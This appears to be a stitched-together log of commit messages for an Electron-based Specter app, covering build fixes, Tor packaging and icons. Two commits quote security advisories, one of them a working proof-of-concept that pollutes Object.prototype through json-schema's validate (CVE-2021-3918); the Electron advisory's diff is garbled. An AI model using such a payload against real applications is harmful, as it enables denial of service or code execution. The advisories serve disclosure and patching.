* migrate the downloadpage generation script to this repo
* tiny docs fix
* fix 2 electron issues
* support intel platform
* fix save preferences bug
* electron upgrade
* upgrading electron dependencies
* chore: migrate from altool to notarytool
* fix litte things in build-common
* add pyenv install in build-osx
* add pyinstaller/electron/signing_logs to gitignore
* chore: migrate from altool to notarytool
* fix little things in build.common
* add pyenv install in build osx
* add pyinatsller electron signing logs to gitignore
* updated build-osx.sh
* fix entitlement
* heavily refactoring the electron app
* polish and improve
* further bugfixing and polishing
* tiny change to improve support of MacOS
* Fix dependency issues
---------
Co-authored-by: Manolis <moneymanolis@protonmail.com>
A constructed payload sent to validate will lead to prototype pollution. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
```js
function checkObj(instance,objTypeDef,path,additionalProp){
if(typeof objTypeDef =='object'){
if(typeof instance != 'object' || instance instanceof Array){
errors.push({property:path,message:"an object is required"});
}
for(var i in objTypeDef){
if(Object.prototype.hasOwnProperty.call(objTypeDef, i) && i != '__proto__' && i != 'constructor'){
var value = Object.prototype.hasOwnProperty.call(instance, i) ? instance[i] : undefined;
// skip _not_ specified properties
if (value === undefined && options.existingOnly) continue;
var propDef = objTypeDef[i];
// set default
if(value === undefined && propDef["default"]){
value = instance[i] = propDef["default"];
}
if(options.coerce && i in instance){
value = instance[i] = options.coerce(value, propDef);
}
checkProp(value,propDef,path,i);
}
}
}
for(i in instance){
if(Object.prototype.hasOwnProperty.call(instance, i) && !(i.charAt(0) == '_' && i.charAt(1) == '_') && objTypeDef && !objTypeDef[i] && additionalProp===false){
if (options.filter) {
delete instance[i];
continue;
} else {
errors.push({property:path,message:"The property " + i +
" is not defined in the schema and the schema does not allow additional properties"});
}
}
var requires = objTypeDef && objTypeDef[i] && objTypeDef[i].requires;
if(requires && !(requires in instance)){
errors.push({property:path,message:"the presence of the property " + i + " requires that " + requires + " also be present"});
}
value = instance[i];
if(additionalProp && (!(objTypeDef && typeof objTypeDef == 'object') || !(i in objTypeDef))){
if(options.coerce){
value = instance[i] = options.coerce(value, additionalProp);
}
checkProp(value,additionalProp,path,i);
}
if(!_changing && value && value.$schema){
errors = errors.concat(checkProp(value,value.$schema,path,i));
}
}
return errors;
}
```
## Proof of Concept
```js
// PoC.js
const { validate } = require("json-schema");
const instance = JSON.parse(`
{
"$schema":{
"type": "object",
"properties":{
"__proto__": {
"type": "object",
"properties":{
"polluted": {
"type": "string",
"default": "polluted"
}
}
}
},
"__proto__": {}
}
}`);
const a = {};
console.log(a.polluted);
validate(instance);
console.log(a.polluted);
```
**Impact**
This vulnerability is capable of make prototype pollution
CWE-915
CWE-1321
CVE-2021-3918
**`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`**
Co-authored-by: k9ert <k9ert@gmx.de>
This project used electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS. Affected of this project are vulnerable to Arbitrary Code Execution allowing out-of-package code execution when apps are launched as command-line executables.
```diff
diff --git a/lib/internal/modules/run_main.js b/lib/internal/modules/run_main.js
- index 5a50d5d6afab6e6648f72a1c0efa1df4cd80bcd9..0be45309028b00a6957ee473322a9452a7fa7d67 100644
--- a/lib/internal/modules/run_main.js
+ +++ b/lib/internal/modules/run_main.js
@@ -13,6 +13,12 @@ const {
```
CWE-94
`CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:L`
CVE-2023-39956
Co-authored-by: k9ert <k9ert@gmx.de>
* use prettier to reformat
* poc commit
* adding ids for button clicks
* implementing automatic wallet import
* add import if the app / specterd is already running
* change copy to wallet importer
* redirect to about page if there is no node connection
* use specter_dev dir in dev + change logic to determine dev mode
* SPECTER_DATA_FOLDER picked up in Electron to set dev folder
---------
Co-authored-by: k9ert <k9ert@gmx.de>
* added linux and macOS binary. Created linux test
* add tor binaries for osx
* packaging of tor and now also win-binaries
* fix windows script
* fix windows reflection
* some chore
* remove torbrowser directory entirely
* mentioning limited usability
* improved writing
---------
Co-authored-by: moneymanolis <moneymanolis@protonmail.com>
* Making Splashscreen work in electron Appimage and spinner reactive
* revert spinner logic
* fixing in settings as well
---------
Co-authored-by: Manolis Mandrapilias <70536101+moneymanolis@users.noreply.github.com>
* add custom icon
* remove unused icons for macos and linux
* fix tray icon for macos + rename to only Specter
* add menu items that respond to theme
* workaround for version parsing issue
* forgot prefix v
* Change tray icon on Mac if appearance changes
---------
Co-authored-by: moneymanolis <moneymanolis@protonmail.com>
Co-authored-by: Kim Neunert <k9ert@gmx.de>
* make hasSuccessfullyStarted work
* different keyword to check for + trying an svg as icon
* also change the system tray icon
---------
Co-authored-by: k9ert <k9ert@gmx.de>
This PR brings the ability of having your own callbacks for extensions, depending on other extensions and callbacks now have a return_style either collect (default) or middleware
